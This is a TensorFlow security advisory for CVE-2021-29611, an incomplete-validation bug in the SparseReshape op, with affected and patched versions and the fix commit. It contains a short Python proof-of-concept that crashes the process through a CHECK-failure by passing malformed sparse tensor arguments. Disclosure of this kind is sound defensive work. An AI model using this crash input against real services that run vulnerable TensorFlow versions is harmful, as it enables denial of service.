Incomplete validation in `SparseReshape`

Low mihaimaruseac published **GHSA-9rpc-5v9q-5r7f** on May 12, 2021

Package

🐍 **tensorflow, tensorflow-cpu, tensorflow-gpu** (pip)

Affected versions	Patched versions
>=2.3.0, < 2.5.0	2.3.3, 2.4.2

Description

Impact

Incomplete validation in `SparseReshape` results in a denial of service based on a `CHECK` -failure.

```
import tensorflow as tf

input_indices = tf.constant(41, shape=[1, 1], dtype=tf.int64)
input_shape = tf.zeros([11], dtype=tf.int64)
new_shape = tf.zeros([1], dtype=tf.int64)

tf.raw_ops.SparseReshape(input_indices=input_indices,
    input_shape=input_shape,
    new_shape=new_shape)
```

The implementation has no validation that the input arguments specify a valid sparse tensor.

Patches

We have patched the issue in GitHub commit 1d04d7d93f4ed3854abf75d6b712d72c3f70d6b6.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 and TensorFlow 2.3.3, as these are the only affected versions.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29611

Weaknesses

No CWEs